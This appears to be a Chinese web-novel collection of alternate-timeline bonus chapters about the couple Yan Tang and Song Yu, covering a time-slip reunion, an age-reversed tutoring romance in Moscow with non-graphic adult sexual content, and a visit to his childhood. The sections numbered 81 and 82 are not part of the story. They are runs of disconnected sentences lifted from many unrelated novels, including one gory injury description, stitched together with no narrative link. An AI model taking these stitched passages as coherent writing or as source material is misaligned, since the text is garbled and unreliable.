宋郁猛地一怔,睫毛微颤,尚显稚气的脸泛起了红。他又扭过头去,转动方向盘。风把他的头发吹起,露出漂亮的侧脸。 在把场上所有小孩儿都撞得哇哇大叫后,场地响起了结束游玩的铃声。好些小孩儿围在一旁看热闹,见他们俩出来了,开始用英语叽里呱啦地朝宋郁说两句,好奇心爆棚。 燕棠还没反应过来,被宋郁直接拉着手腕往外跑,两人一起躲进游乐场里一个卡通塑像后。 他们在游乐场玩了很久,现在是太阳将要落山的时候,柔和的夕阳铺在宋郁身后的草地上,把他的身周也镀上一层柔柔的光。 燕棠凝视着他,笑着说:“其实你想起来了,对不对?” “为什么这么说?” “就像你了解我一样,我也了解你。”燕棠说,“你至少想起一些了。” 不仅如此,刚才在碰碰车的游戏里,她忽然想到了一件事——两人最后的记忆停留在一家人在高加索山里度假的时候,那时候她跟宋郁提到,要是能见到他十六岁的样子就好了。 现在已经发生了这么奇异的事情,燕棠便大胆推测,也许这只是上天或者某种神灵开的小玩笑,让她和宋郁真的回到这个年纪见上一面,所以宋郁在2010年时才变成了十六岁,而非十四岁。 她把这个推测告诉了面前的男孩儿,又说:“也许等我们两个都想起来了,我们就会回到正确的时空去。” 说罢,燕棠走近了一点儿,“我们试试……?” 她踮起脚,手撑在他的胸口,仰起头靠近。 却没想在唇瓣将要贴近的那一瞬间,宋郁忽然别过脸,有些孩子气地说:“我是想起了一点点记忆,但并没有全部想起来。如果你说的是真的,现在这么着急回去,是不喜欢现在的我吗?" “当然不是!”燕棠立刻否认。 她其实今天过得很开心,体会到了从未有过的新奇,毕竟她在十七岁时还未曾有过机会,跟一个讨人喜欢的男孩子一起像约会似地放纵玩耍。 可她仍然会止不住想念那个和她同甘共苦过的宋郁。和她一起走过漫长坎坷的年岁的他,才构成了她全部的爱情。 宋郁安静地听她说着,等她说完了,忽然伸手扣住她的后颈,朝她额头处亲了一口。 “可以。”他这么说,"但你要记住,这个亲吻是来自十六岁的Kirill。" 燕棠微微一怔,刚抬起头,就被人咬了一口脸颊。 “这也来自十六岁的Kirill。”他又说。 此刻的宋郁像只小狗一样啃上了她,亲脸颊亲鼻尖,就是不接吻。 他们躲在这玩偶的身后,热闹的喧嚣都藏了起来,夜色渐渐蔓延,将他们年少的身影包裹。 在这种稚嫩又孩子气的接触中,燕棠感受到了一缕初恋的气息。 这时,面前的男孩儿忽然抬起眼皮和她对视。他的目光清凌凌的,带着笑意,"十六岁的我让你满意吗?" 燕棠也笑了,笑里也带着几分腼腆,随后点了点头。 夜色逐渐浓重。 宋郁扣住她后颈的手微微收紧。 双唇轻碰,触感柔软。 随后是一秒钟的、突如其来的天旋地转。 * 燕棠猛地睁开眼睛,发现自己躺在床上。她坐起身来往外一看,外头在下雪。 身边的人也醒了,伸手将她紧紧抱紧怀里,随后叹了口气:“我刚才做了个梦……” 燕棠惊愕地说:“我也做了个梦!” 小猫kaka被吵醒了,站起来伸了个懒腰,蹭了蹭宋郁,又蹭了蹭燕棠。 “你猜得没错。”宋郁将脸埋在她颈项里,“只要让对方再次心动,我们就会恢复记忆,当两个人恢复记忆的时候,我们就会回来。” 这是他在那个时空里通过半个多月的时间探索出来的,还没来得及告诉燕棠,他就直接失忆了。 燕棠忍不住问:“你是什么时候开始第一次想起来的?”"当我第一眼看见你,我就开始想起你。"他声音轻缓。 燕棠察觉不对,立刻问:"那你当时为什么说你不记得?" “你不是想看看我十六岁的样子吗?”宋郁一本正经地说,“总要让你见一次真货吧。” 窗外的雪还在下着,高加索山脉变成一条模糊的虚影。时间向他们开了个小小的玩笑。 这场玩笑最终变成一句真实的情话。 (IF线完) 81 IF线 刚才乌恩奇一直沉浸在回忆里,他对席德尔逼死了影魔内厄姆的举动视而不见,何况影魔内厄姆也不是善辈。乌恩奇的心里对席德尔并没有太多的仇视,所以他点头默许了席德尔的投诚。 “知道打扰了,下次就注意点儿,可不春宵一刻值千金,害得我们起得这么早。”墨星晨果真是语不惊人死不休。 英梨梨想了想,点点头,没再说什么。毕竟艾米莉亚是他创作的人物,他有什么更好的想法也说不定。 “哎,廖化。我想起来了,你之前不是在青州渠帅:张牛角的手下吗?怎么现在,成了青州的使者了?”管亥像是突然想起了什么,问到那位名叫廖化的人说。 举例而言,你跟居民们询问着‘暴风雪的起因’,他们肯定只言不答,但若你问起了‘白色相簿的故事’,他们会将整个起因,完全的告诉于你。 三分钟以后,乌恩奇颓然倒在地上,他的两条腿被踩断了,肚子上被开了个一尺多长的大口子,白花花的肠子和殷红的鲜血淌了一地,而那只深渊炼魔则好整以暇地抱着肩膀,气定神闲,连半根汗毛也未受损伤。 罗成一连三枪,捅死了三个黄巾军。所到之处,片甲不留,无一合之将。 听着手机内传出的忙音,伊乐好半响才回过神,怅然若失的叹了口气。 不让自己丢脸的最好办法,就是把敌人的实力吹上天际,更何况,夜澜听风也不算夸大其词,说得还有几分道理。 “但你要戒骄戒躁,虽然你有不弱的修剑天赋,不过和我比起来还是有所差距的。”火元剑君接着说道,脸不红,心不跳,好像说谎话已经成为了他的日常。 “很不错,百分之二十的提升,很强大了。”郑易如实说道,他的属性有一部分是靠着道具提升起来的,虽然没什么,但是郑易总觉得以后还依赖道具提升属性的话,肯定会吃大亏的。 断臂化为光雨消失,断裂的臂膀处又重生出一条右臂来,只不过巫雪禅脸色已变得苍白无比,呼吸粗重。 犬夜叉微微压低着身体,全身的肌肉绷得紧紧的,随时准备冲向郑易,打断他一切可能进行的攻击,谁知道,心魔兄手里的双星手枪一收。 原来发出尖啸声的正是竖井下的陌生人,先前方浩发觉自己的身体被石井偷偷钻进来,而自己的精神能量体很弱,贸然出去肯定打不过石井,就跟他商量怎么办。 王后港这边呵呵一笑,也拿着手包坐在包飞扬的旁边,意思是和包飞扬共进退。考察工作组的其他成员,自然是照着王后港以下,依次落座,将长条形会议桌一边几乎占满。 道无双厉声呵斥,脸色冰冷无比,这一刻的她犹如被触怒的太古凶兽,散发出一股欲要择人而噬的恐怖气息。 周围的人都发出一声惊呼,呼吸变得急促起来,直勾勾的眼睛都落到了她的抹胸上。 “前田,没意见吧。”费尔斯冷声说道,他们要去的可是他的国家了。 方大军这才记起是有这么回事,石灰石当时计划的是,拉石头来的时候当场结算三分之一,每季度结算三分之一,剩余的到过年时一次性结算。 虽然今天包飞扬找到了刘远川跟他详细说过这件事情的始末之后,或许刘远川还可以选择像过去那样不把这件事放在心上,继续漠视这件事,但是即使是他刘远川也无法保证这件事会像以前那样一直沉寂下去。 说罢,紫绝微微催动真气,自储物灵戒之中取出一个精致的锦盒,乃是上等的云香木所制,即使隔得老远,亦能微微闻到云香木特异的香味。 异样的声音出现,霎时间,一道直径十多米的金色光柱从天而降,就好像是晶莹透明的水晶光柱一样,无数的金色符号缠卷着光柱盘旋而下,一瞬间,金色的光柱直接渗进深不见底的洞穴,却没有掀起任何的动静。 “不要告诉我,他是真的对这个假儿子产生了真感情,而愿意将错就错。若是别人也就罢了,这并不像唐门一贯的作风。”柳凤曦嘲弄的说道。 这让秦斌想起了一则笑话,说东北以前没有白猪,所有的猪都是黑色的,偶尔有一个农民家的猪产下一窝崽,其中有一只猪是通体白色的,顿时惊为异物,连当地官府都惊动了。 “进来吧!”可是没等司徒雨敲响房‘门’,里面就传来一个陌生的嘶哑声音。 凤凰的确是听说过,但是苍龙这种不知多久之前就已经是绝迹了的妖兽,在这里居然留下一座古墓? 纯阳门一方的实力本不至于如此,但是年轻一派的凌杀和独孤鹜都在外寻找焰火精华,跟大部队分开了,秦逸和牧剑的实力在年轻一派之中也是精英,分别有着灵玄八重和灵玄七重的修为,但是对上了灵王,却是毫无办法。 82 IF线 戴奉和杨渉先后落败,戴奉伤的更重,倒在地上时,连喷三口血。 “本尊知道你在拖延时辰,本尊也不屑于不给你这点时辰。”临渊眉角带着挑味意味。 山间的花草树木被这两股力量整得簌簌落叶,就算是有些山石,被她们的力量扫到也是纷纷碎落在地。 然而本来理智的行为,在见到朝夕相处的久久不见的二人,他难得的控制不住自己,差点就当着众人的面眼泪汪汪,还好最终及时刹了车。 无数鹰狼纷纷往后退开,就连附着火焰的鹰王都有些震动,飞得高了一点,但狂化狼王并未畏惧,仍然咆哮整冲过去。 “四大护卫结成四象崇光大阵,龙赢在中间做阵眼,将搜索区间,覆盖整个火星天。将敌人全部收拢过来。”时光之子命令道。 “那照你这么说,我们现在是无解了?”龙长江一皱眉!特奶奶的,本来以为出卖了一次色相,可以解决水星天的麻烦,没有想到,龙骧竟然在七岭下如此重手。看来,龙骧是铁了心,再次吞并九天空间了。 想着想着,陆是不由泛起了微微的困意,然后他环视了一下四周,确定没什么危险以后,缓缓地闭上了眼。 孙念摇了摇头,脸上却没有半点悔色,他朝着黑白玉走来,缠绕着魔光的右手传出批了啪啦的声响。 林轩借助一杯奶茶就改变了局势,是他没料到的,心里也乐开了花,他和苏云墨的关系特殊,其他人哪里会知道,反正苏云墨是不会说的,这事就不会露馅。 如果,如果那个被告席上的阮丽珍真的是她的亲生母亲,那么她的亲生父亲就是吴副s长了? 因为常年在军队里生活,便养成了严谨律己,去哪里都会观察四周动静,十分谨慎的心理素质。 浅田信原来在恒必达里年薪是一百万日元,现在万峰开给他的价码是折合到一百七十万日元的薪水。 说着率先带头走出去,有他带头其他人也反应过来,收起伤感的情绪,跟在季长风的身后,走了出去。 在移动的过程过程中站在流水线两侧的工人不断地往大架子上安装各种部件,一人只安装一样,当这个摩托车大架子到这头的时候,一辆摩托车也就组装完成成功下线了。 赫连烨拉着云宸的手来到灵溪边,捧着水轻轻的将云宸的双手洗干净,而后运转灵力,将上面的水份弄干。 “接吧,到底是什么事情是我和姐姐不知道的?开免提,顺便把事情说了”,舒心那张保养很好的脸上多了一份成熟和干练,还是那样的红润,眸子也还是那样的清澈,还是很美。 她时时刻刻地在盼着这一刻的到来,分分秒秒地在等着这一刻的到来。 一跃而入的那碗里,正好是她最喜欢的荷花水,雪亮的光泽一下打散了,溅的四处都是水珠,连带其他几个碗里,也是一阵激荡。 顾家的公司倒闭后,吴建伟手除了自己的钱之外,还多了百十来万,这是顾家处理好倒闭适宜之后剩下的钱,也是可用的钱。 “居然可以化解我的天魔大手印,难怪连千叶魔王都栽在了你的手中。”就在这时,一尊高大的大地阴魔踏空而来,魔威滔天。 激动人心的时刻就要到了,加藤千雪是要擦拭一下,穿上衣服呢,还是擦拭一下,不穿衣服呢? 而这一次,也不知是不是因为神智不大清醒,他已经完全不去控制力道了。肢体完全被自己心中的欲望给控制住了,这个吻便如暴风骤雨般猛烈。直到叫唐韵尝到了满口的血腥。 丢卫生纸的时候,在纸篓里无意发现了一片巾巾,细闻之下,好像还散发着一丝丝血腥味,我好奇的心想着,难道陆莎来大姨妈了?不然,谁还来三楼上厕所,三楼又没有病人。 她是突然离开我的,因为她的学籍并不是在魏城,而是在她的家乡江苏省,所以高考必须在江苏省,她高考期间,没有和我联系,令我当时感到非常的沮丧,那之前,我还为她抄写了海子的爱情诗集,因为她比较喜欢那个。 离国军队先前遭伏击的地方在大山之中,现在退到平原,这么算来,黑魔王是将整个山脉都吞进了肚中,这片山脉足有上百万座山峰,占地数百万公顷,被黑魔王这么一吞,统统都化成了沸腾翻滚的魔云。 想起了瑶姬,自然也就跟着想起了那段,由其亲口诉说的,她与天妖浞生之间缠绵悱恻又荡气回肠的故事。 空绝公子看见突然多出来了一个江易,竟然赤手空拳,把仙剑巨阙挡下,大惊失色,几乎要被活活吓死。 “唉……云岚,你就好好呆在这里,等我赶走了江易,就万事大吉了。”五长老站了起来,叹息了一声,然后就准备踏出议事大殿去。 83、短IF线---86、短IF线 83、短IF线 派对在一家苏联风格的酒店进行。 长长的走廊里弥漫着木质香气,黑色地板上铺着棕红色地毯,两侧的房间门一扇扇并列着直抵尽头的拱门处。门后就是举行派对的宴会厅,承袭了苏维埃式的美学风格,里头的装饰物少而大,挂墙的雕花烛台拥着巨幅油画,四处都是深沉的红黑色调。 对于燕棠这样十八九岁的中国南方姑娘来说,莫斯科的一切都充斥着肃穆高大的气息,就连这里的斯拉夫人也一样。 她稍有些局促地站在走廊边缘,踮起脚尖往里望。 穿着礼裙的女人和西装革履的男人不时从她面前走过,都是高个子,他们偶尔目光会瞥向他,露出好奇的神色。 原因无他,燕棠背着书包,穿着一身简单的棉质白裙子,像个走错路的中学生。 “你在等你爸爸?” 一个金发碧眼的年轻女孩儿走过来,以为燕棠需要什么帮助,主动询问。 她用不太流利的俄语说:"不……我在等我的老师。" “老师?”女孩儿有些惊讶,“这里都是些做生意的人,你是不是走错了。” 燕棠并没有走错,她已经看到了她的俄语老师宋郁。 他就站在宴会厅的中央,俊秀的脸上挂着随意的笑,白衬衫的袖口随意卷到小臂中段,被男女簇拥着聊天。与生俱来的贵气,在名利场里如鱼得水,哪怕离得极近,也总让人觉得遥不可及。 女孩儿顺着她的视线看过去,也注意到了那个高大的男人,眼睛一亮,继续跟燕棠攀谈起来。“今天我们真很幸运,平常难得在这样的聚会上看见Kirill,一般只能见到他的哥哥llya……等等,他是在朝我们走过来吗?” 男人果然在她们面前停住脚步,目光瞥了一眼试图跟他攀谈的金发女孩儿,随即转向燕棠,扬起一个笑来。 “抱歉,让你久等了。” 他说的是中文,流畅地道。 燕棠立刻说:“没关系,我可以再等一等。” “已经快到上课时间了。”宋郁看了一眼手表,“走吧,不要耽误你的时间。” 在金发女孩儿惊愕的注视下,燕棠被她的俄语老师领着离开了热闹的派对。 * 成为宋郁的学生完全是一个巧合。 燕棠是来莫斯科的交换生。 彼时她刚刚入学,为了挣生活费,正在申请一份笔译工作,主办单位是一家致力于促进中俄文化交流的基金会。虽然她的语法和词汇量很不错,可因为常年在国内生活,没有语言环境,口语水平不佳,因此没有被选上。 当她沮丧地离开基金会所在的写字楼时,因低头匆匆走路,恰好与宋郁迎面相撞,碰掉了他的咖啡。 燕棠用俄语磕磕绊绊地道歉,慌张地抬头,对上一双漂亮的眼睛时又愣了半天。 好在宋郁是个体贴绅士的男人,他不仅没有责怪她,还因为注意到她发红的眼眶而热心地询问是否需要帮助。 在异国他乡听到母语,燕棠迅速放松下来。 她给宋郁再买了杯咖啡作为道歉,期间两人聊了一会儿,宋郁在得知燕棠有补习口语的需求时,忽然夸她很幸运,因为他正好有辅导口语的经验。他所收的课时费也不高,是燕棠能够承担的范围,补课地点在学校附近的咖啡厅,并不会发生什么意外。 “附近没有合适的咖啡厅,为了节省时间只好带你来这里了。” 燕棠跨进门,熟练地换上拖鞋。 这里是宋郁的家。 位于中心地段的高级公寓,陈设是简洁利落的现代主义风格,唯有走廊墙面上挂着的熊头标本,带来粗犷而暴力的气息。 棕色的熊头保持着狰狞嘶吼的姿态,据说是宋郁在西伯利亚一次猎熊的度假中打下的。 燕棠走进书房坐下,拿出笔记本,乖乖坐在位置上翻看之前的笔记。她来莫斯科已经快一年,也跟着宋郁学了一年,笔记厚厚一本,夹杂着两个人的字迹。 外头响起咖啡机运作的声音,没过多久,宋郁拿着两杯咖啡走到书房门口。 窗户半开着,夏季微风漏进室内,吹动桌边女孩儿的发丝和裙摆。他看着这画面,微微一怔,才迈步走进书房,问起她这一周的学习情况。 “弹舌练得怎么样?” 弹舌很难,燕棠偶尔可以冒出几声,但平常和人交流的时候总来不及反应。 “熟练度还不够。” 宋郁在她身边坐下,打开抽屉拿出一块干净的手帕。 他把手帕覆在掌心,随后抵在燕棠下颌处,以便感知她发音震动的部位,同时向她示范正确的口型和唇舌部位。 “你需要找到吸气的感觉……” 燕棠努力地认真听他指导,但注意力却难以控制地转移到别处。 哪怕隔着一层柔软的布料,她依旧能感受到抵住她下颌的手掌是多么有力。视线所及之处是老师那张帅得令人心颤的脸,他所说的教学内容全部没有进脑子,反倒是唇瓣开合的模样印在了她眼中。 “你好像走神了。”宋郁垂下眼来,笑着看着她。他笑起来时更令人晃神,斯拉夫血统所特有的标致美貌让人很难有抵抗力。——燕棠是在成为宋郁的学生之后,才知道他就是基金会所属集团的小公子。 * 宋郁向她收取的补课费,一个月加总下来还不够他在高级餐厅吃一顿饭。 一个闲散公子哥儿就算再没有事干,也不会无聊到给异国小姑娘教俄语。况且在多次接触下,燕棠发觉宋郁也并非是个对谁都热心肠的人。她早就知道了他的想法。但她也是真的很想低成本地练好口语。 除此之外,还有一个燕棠无法抗拒的理由,那就是她的俄语老师有一张让人不想错过的帅脸。她被他迷住了,深知路过这个村就没这个店的道理,索性顺水推舟。 “你希望现在进行课间休息吗?”她听见宋郁这么问,随后点了点头。 在教学期间,燕棠注意到宋郁总是与她保持着得体的距离。 ——尽量在开放空间见面,如果必须要接触肢体进行指导,也必须隔着布料进行,以免让她感到不舒适。 但课间休息时就不一样了。 他将手帕叠好收起,随后直接将她拉进怀里,带茧的掌心扣住她的后颈,摩挲着那处柔嫩的皮肤,缓缓问:“现在跟我说说,刚才你在想什么?” 燕棠抬起眼与他对视,被他带着笑意的目光看得脸颊发热。 她知道宋郁今年二十五岁,平常做一些VC投资,在此之前他曾是一名格斗选手,年少成名,还拿过金腰带。 这也许解释了他在床上的强势风格。 尽管平常竭尽得体,但宋郁在□□上并非是一个温柔的人,他喜欢在她身上留下痕迹,听她喘息和哭泣。 哪怕在接吻时,宋郁也像是捉住猎物般,禁锢着她的行动,逼她老实待在他怀里。 燕棠仰着头,张开唇齿,接纳他的亲吻。 后脑被他的掌心抵着,腰也被牢牢扣住,接吻时间过长,她渐渐感到缺氧,呼吸急促,喉咙也泄出破碎的声音。 宋郁终于放开了她,替她理了理脸颊滑落的碎发,“你希望接下来怎么做,要用俄语告诉我。” 他是个很好的老师,在休息时间也不忘提醒她学以致用,练习日常用语。 一开始燕棠很不适应,因为有些下流的词汇是不会出现在书本上的,不过只要她放软声音寻求帮助,宋郁就会心生怜惜,主动教她怎么连贯地表达。 白裙子落在地上,和男人的衬衫交叠在一起。莫斯科的夏日微风总是十分清爽,一阵一阵地涌进室内,燕棠却浑身热得冒了汗。 她的手搭在男人的手臂上,掌心下绷紧的肌肉结实有力,也冒了薄汗。 “Kirill老师,我下周就要回国了。”她鬼使神差地在这时提起这件事。 宋郁动作一顿,直起身子,"下周回国?" “嗯。”燕棠躺在床上,乌黑的发丝散乱在肩头,声音因不时的喘息而断断续续。"我会把还没结清的补课费转给您,之后我也不会再打扰……啊——" 她还没说完,便被宋郁打断了接下来的话。 “我是不是该谢谢你,还愿意专程通知我?” 宋郁说完这句,又低下头和她接吻,继续他们在做的事情。只不过要比往常更狠一点儿,大概因为这会是最后一次,也会是他们的最后一面。 * 在留学圈子里能遇到各种各样的人。借学校奖学金出来见世面的普通学生,家里有矿的二代三代,或者是一些游走在少爷小姐们中间,通过另类努力实现阶级跨越的人。 有钱人从来都不蠢,图的是你情我愿,适可而止。 燕棠本来无意沾染上什么富家少爷,但她心动了,于是大胆地跨越了边界。但她没忘在这次交换即将结束时谨慎地收回步子,回到自己的生活中去。 燕棠也并非全无收获——除了一些精致昂贵的礼物之外,宋郁还教她能说出一口上得了台面的俄语。从结果来看,他简直是在做慈善。 她很感谢宋郁,于是在回国的飞机起飞前,还给宋郁发了一段祝福语,大意是谢谢他的悉心教导,祝他健康幸福。但燕棠没想到,在回到南市家中的第二天,当她走出卧室准备洗漱时,会看见自己的俄语老师坐在客厅的沙发上。 宋郁一身闲适的打扮,正在跟她爸爸聊天,见燕棠从卧室出来,朝她露出一个笑。 “我来南市旅游,正巧来看看你。” 他用中文说完这句,随后又转成了俄语,声音沉沉,只有燕棠能听懂。 “我辛苦教了你一整年,你不会以为回国了就能这么算了吧。” 燕棠就这么被宋郁捉到了酒店里度过了难忘的暑假。新学期开学的时候,他随她一同到了北京,声称要继续辅导她的俄语学习,保证她能够顺利毕业。 在很久以后,燕棠才意识到她当时对宋郁了解得太少了。有的富家少爷薄情,有的则愿意浪费大把时间将心仪的人捕获。 这场从补习开始的情人关系结束于一场婚礼。但宋郁在床上依然保持着某些曾经的喜好,比如—— “老师……” 燕棠身上的婚纱脱了一半,紧抱着面前的男人,轻声请求他的温柔。 (年龄倒置篇完) 84、短IF线 夏天的莫斯科郊区,阳光铺在广阔的草坪上,河流蜿蜒,漆着红白色调的灯塔静静伫立在村庄中。 燕棠提着小皮包,有些迷茫地站在农场的大门前。 她身上没有任何用于联络的电子设备,穿着一身复古的束腰长裙,像是回到了世纪初。 往前望去,农场里非常安静,花圃和菜圃整齐并列,生长着诸如胡萝卜、土豆、红苋菜之类的果蔬。另一侧有木栅栏围成一圈畜养鸡鸭。两只体型巨大的高加索犬在农场中逡巡,注意到门口来了陌生人,立刻大声吠叫。 尽管陈设稍有不同,但燕棠确定这就是宋郁外祖父母的农场。 “你就是Yana吧?” 一个棕色卷发妇人从屋子里匆匆走出来,将高加索犬驱赶到另一侧,把燕棠领进农场。 “加琳娜和阿纳托利去看望朋友,要明天才能回来,今天辛苦你帮忙一起照顾一下llya和Kirill。主要是Kirill,那孩子不能离开大人……对了,我叫玛格利塔,主管这间农场的杂务。" 燕棠跟在玛格利塔身后,正穿过花圃,忽然听见房子二楼有开窗的声音。她仰头一看,便见一个约莫五六岁的小男孩儿趴在窗台前。 这男孩儿有一头浓密微卷的头发,双眼大而明亮,脸蛋白嫩,像个小洋娃娃似的,正一脸好奇地注视着她。 燕棠愣住了。 和宋郁结婚后,她已经看过很多他小时候的照片,自然也不会认错面前的小孩儿。 ——出于某种的原因,她回到了宋郁的小时候,成为被聘用来照顾他的人。她立刻意识到这一点。 “Kirill,窗边很危险,快回去…….lya不在你身边吗?”玛格利塔停住脚步,仰头对那男孩儿说。 小男孩儿转身离开了窗台,就在燕棠踏进屋内的时候,她听见脚踩木楼梯的声音,随后见到小宋郁从楼上跑下来,走到她面前。 “你是西瓦神派来照顾我的吗?”他抬起眼,一双清澈明亮的眼睛打量着燕棠,声音还带着孩童特有的柔软。 还没等燕棠回答,玛格利塔先笑了,“你为什么要这么问,Kirill?” “因为我昨天晚上向女神许愿,希望有像妈妈一样可爱的人来陪我一天。”他一本正经地说。 玛格利塔大笑:“向你的睡前故事书许愿吗?” "故事书里的女神也是灵验的!这是哥哥说的!" 玛格利塔没有戳破他,凑到燕棠耳边小声道:"lya不是很有耐心,偶尔喜欢敷衍Kirill,但你不能让Kirill知道这件事,他会伤心的。" 燕棠若有所思地听着他们两人的对话,忽然笑了笑,低下身子对面前的小男孩儿说:“也许Ilya没有骗你。” 她注视着面前的小朋友,心都要化了。 这跟看照片时的感觉截然不同,面前的小男孩儿真实而鲜活,五官精致又可爱,明明脸蛋还没长开,但依稀能见到他未来长成少年乃至成年男人后的俊美。而且照片上看不出的是,年幼的宋郁要更像纯种斯拉夫小孩儿,头发颜色更浅,皮肤也白得像牛奶一样,如果背后长一对翅膀,真的就像油画中的小天使。在燕棠打量自己年幼版的老公时,宋郁也同时在打量她。 “我对你很满意。”他用小主人的口气说,“你叫什么名字?” 燕棠被他的语气逗笑了,两眼一弯,说:“我叫Yana。” 见她笑了,看向他的眼睛里泛着灵动的光,小男孩儿白皙的脸颊飞起一点点红,“你的名字也很好听。” * 燕棠猜测宋郁口中所谓向女神许下的愿望,就是她来这里的原因。如果这是真的,那她大概只会在这里停留一天。 疑虑散去,她的心情便很快放松下来,注意力再次转移到身边的小男孩儿身上。 宋郁这时才六岁,刚刚上小学。这时正是暑假,他没有特别的事儿要做,早上就是坐在家里看动画片。 世纪初的家庭里多是笨重的台式电视,但这间房子里已经安装上了新上市的液晶屏幕,播放着《小长鼻子雅各布》,热闹的音乐从音响里传出来。 “你看过这部动画片吗?”宋郁主动跟她寻找共同话题, 见燕棠摇头,他又说:“这是一个被诅咒的小男孩儿杰克遇到被巫婆施咒的公主葛丽塔后,和她一起解决困难,成为好朋友的故事。” 小男孩儿认真注视着燕棠,长睫毛扑闪扑闪的,又说:“我想,你就是我的葛丽塔。” 燕棠一愣,忍不住笑着问:“你觉得自己是杰克?为什么呢?” “因为我被困在这个农场里了,看不见爸爸妈妈,哥哥也没有空陪我。” 他垂下眼,低落地说。 同在一个屋檐下,孩子的世界和大人的世界并不一样。小朋友没有办法为自己做决定,事事都需要依赖他人解决,那样无法为自己做主的无力感,渐渐会变成一种令人慌张的不安全感。 “你不一样。” 宋郁忽然又说。“你是西瓦女神带给我的,所以你只属于我!”不过是相处了两个小时,宋郁已经迅速地对家里新来的姐姐产生了依赖。尽管玛格利塔说Yana是外祖父母在莫斯科一家大学教育学专业临时聘用来照顾他的学生,但他坚信这是自己许愿的结果。 灿烂的阳光环绕着农场,宋郁觉得今天的景色格外美好。 * 在午饭时,燕棠终于看见了宋璟。他这时也不过十岁,但显然比宋郁成熟很多,身量在同龄人里已经算是十分高挑,俊秀白皙的脸庞也有了少年人的模样。 餐桌上摆着烩饭和肉汤,涂抹着鱼子酱的列巴切片被烘烤得散发出诱人的麦香。 房子内的布局和燕棠记忆中并无二致,她帮玛格利塔端上餐盘后,又问宋郁:“你要来一点儿腌西瓜吗?” 可问出这句话后,燕棠见他露出犹疑的神情,有些惊讶地说:“我以为你是喜欢吃的。”毕竟他长大后对这玩意儿接受良好。 过了两秒,宋郁抬起头看向她,小脸绷得紧紧的,像是鼓足了勇气:“我喜欢吃,给我吧。” 坐在对面的宋璟有些意外地看了一眼自己的弟弟,目光又转到燕棠身上。 燕棠不经意和宋璟对上目光,礼貌性地问:"Ilya,你要一点儿吗?" “不用,谢谢。”十岁的宋璟已经十分高冷,说话疏离客气。 哥哥话音刚落,宋郁忽然伸手扯住了身边女孩儿的裙摆,说:“我可以吃很多,给我拿两罐!” 这一次,燕棠和宋璟同时看向宋郁。她迟疑地问:“你吃得下那么多吗?” 宋郁坚持说吃得下,还真的在午餐的时候干了四片腌西瓜,就连早就吃饱的宋璟都坐在桌边观赏他的举动。 “你真厉害。”燕棠忍不住赞叹。 得到她的夸奖,宋郁也露出个甜甜的笑来,剔透的眼睛闪动着亮晶晶的光芒。 宋璟安静看着这一切,忽然含笑看向燕棠,问:"Yana,你已经结婚了?" 燕棠一怔,低头看了眼自己无名指,发现婚戒还戴在手上,便点点头:“是的。” 宋璟却不继续问了,用手帕擦了擦嘴角后起身离开餐桌边,顺便对弟弟说:"Kirl,我先走了,你慢慢吃吧,祝你吃得高兴。" 燕棠以为宋璟不过是随口一问。 可当宋璟转身的那一瞬间,坐在她身边的小男孩儿忽然大哭起来。 宋郁的眼泪来得太过突然,哭得伤心至极,连宋璟都惊愕地转过身来,眉头皱起,似乎在犹豫要不要过去哄一哄。 下一秒,宋郁扑到了燕棠怀里,一双泪汪汪的大眼睛看着她,泪珠大滴大滴地滑落,抽噎着说: “你……你怎么……结……结婚了呀……” 小洋娃娃哭得梨花带雨,说俄语的时候也呜呜咽咽连不成完整的句子,可怜坏了。 * 六岁的小朋友,还是相信童话的时候。宋郁以为新来的姐姐Yana就像动画片里的葛丽塔那样,会是他独一无二的好朋友。 他还不明白结婚代表着怎样的含义,但知道爸爸妈妈、外祖父母都经历了这个步骤。他们对彼此而言是独一无二、排他性的存在。 午饭后,小男孩儿坐在农场外的秋千上,小小的身体被阳光包裹,是挥之不去的失落。他难过地想,也许燕棠是葛丽塔,但杰克不是他。宋郁抬起头,看向坐着他身边的女孩儿。 她有着秀气的眉眼,乌黑的长发,在他眼里漂亮极了。此时此刻,她正目光担忧地看着他,宋郁想——她其实也很喜欢自己。“你的丈夫是什么样的人?”他问。 燕棠一愣,随后笑着说:“他啊……. 很帅,很有担当。有些娇气,偶尔会哭,但往往能把自己哄好。以前是名优秀的格斗选手,后来成立投资公司,成绩也非常出众。 小男孩儿沉默片刻,说:“你喜欢格斗选手那样的男人吗?如果我去学格斗,你会更喜欢我吗?” 燕棠知道他的好胜心又在蠢蠢欲动,忍不住轻轻捏了捏他的脸颊,温声说:"Kirill,你永远是最讨我喜欢的人。" “那你的丈夫呢?你不喜欢他吗?”他眼睛亮晶晶的,带着某种期待。 燕棠诡异地沉默一秒,重复一遍:“反正……Kirill肯定是我最喜欢的人。” 这话迅速地安抚了宋郁的心情。他很好哄,只要听几句好话就能忘记烦恼。但他也实在很黏人,比长大后要黏人一百倍。 一整个下午,他都牵着燕棠的手,要和她一起到菜园里摘胡萝卜,还带她去农场附近的溪边看鱼。 “你可不可以在这里待久一点儿?我们可以在冬天的时候去贝加尔湖冰钓。”他稚嫩的声音里充满了兴奋,规划着未来要和她去的地方。"我喜欢和你待在一起,比和爸爸妈妈在一起还要开心。" 夜幕落下,农场里四处点上煤油灯。吃过晚饭后,燕棠陪伴宋郁回到房间,给他念起故事书。 西瓦女神是斯拉夫神话中掌管爱情的神灵,也许她的确存在,才会听见六岁的宋郁许下的愿望。 “可你只向女神许愿让我来这里一天。”当时间渐渐流逝的时候,燕棠也有了这场奇异旅程即将结束的预感。 落地灯昏黄,照着面前小朋友的脸庞。他靠在床头,依依不舍地看着她,睫毛一颤,眼眶又泛起了红。 燕棠的心化成了一滩水,她掀开被子躺在他身边,将他抱进怀里。 小孩子还在一点点学习这个世界的悲欢离合,所以每一次分别都显得难舍难分。宋郁将脸蛋埋在她的颈项里,感受着她温暖的体温和身上浅淡的香气。 “我们还可以再见面吗?”他问。 “会的,Kirill。等你长大了,我们就会见面了。” 燕棠想,她和宋郁大概都不会记得这一天的经历。 但等下一次,当过去的自己和未来的他在北京见面的时候,他们会再次注意到彼此。从喜欢到爱。然后为彼此戴上婚戒。 时针一点点走着,燕棠怀里的小男孩儿哭累了。灯光照着他浅亮的发丝,也照着她婚戒上闪闪发光的钻石。 燕棠低下头,轻轻亲了口他的额头。 “晚安,Kirill,祝你好梦。” * "我又做梦了,梦见你和我的小时候。"宋郁在深夜里朦胧醒来,看着窗外依旧深沉的夜色。北京三环里林立的写字楼依旧亮着永不熄灭的光。 